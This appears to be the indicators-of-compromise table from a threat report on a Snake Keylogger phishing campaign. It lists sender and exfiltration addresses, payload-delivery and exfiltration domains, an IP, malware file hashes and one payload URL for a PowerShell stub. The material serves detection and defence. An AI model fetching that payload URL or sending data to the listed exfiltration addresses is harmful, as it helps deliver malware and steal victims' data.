TypeValueLinksComment
Emailit@seatoursthai.comN/ASender address
Emailreports9@leedelectronics.topN/AExfiltration address
Domainseatoursthai.comMXToolBox
VirusTotal
Sender domain
Domainaksiyononline.bestVirusTotalPayload delivery
Domaincheckip.dyndns.orgVirusTotalIP identification
Domainreallyfreegeoip.orgVirusTotalGeolocation
Domainleedelectronics.topVirusTotalExfiltration
Domainapi.telegram.orgVirusTotalExfiltration
IP103.246.189.75AbuseIPDBSender IP
Hash6389acfbd4cd9603caa87d88b1bc0dbec64facdc073e77ce6cfb9acbe23e079bVirusTotal260917-Quotation.rar
Hashe9e9361c1902598ef66516012c466c43e610f7c6563e31c87565832106f2dd9eVirusTotal260917-Quotation.js
Hash9ce4d8776c2e0d707ef3f4f81153acf0aad5e80882e6012f48cbbbcf5d917056VirusTotalsecured_stub.ps1
Hashf8f702d9e583d84e9b94b4eb610e4be7f199409cbb3a548801be1384fbfcaa12VirusTotalGHOSTT.dll
Hash2c81ca279420b64a8da420b92c04eb56d801b883b25359c4cec764030d92c127VirusTotal
Hybrid Analysis
Remington.exe
URLhttps://aksiyononline.best/mrmasabikfrnd/secured_stub.ps1VirusTotal
URLhaus
Payload delivery

MITRE ATT&CK® Techniques


  1. https://github.com/frizb/FirmwareReverseEngineering/blob/master/IdentifyingCompressionAlgorithms.md ↩

  2. https://github.com/jljusten/LZMA-SDK/blob/master/DOC/lzma-specification.txt ↩

  3. https://learn.microsoft.com/en-us/dotnet/framework/unmanaged-api/profiling/setting-up-a-profiling-environment ↩

  4. https://learn.microsoft.com/en-us/dotnet/standard/assembly/resolve-loads ↩

  5. https://www.broadcom.com/support/security-center/protection-bulletin/snake-keylogger-campaign-saudi-procurement-lure-and-multi-stage-chain ↩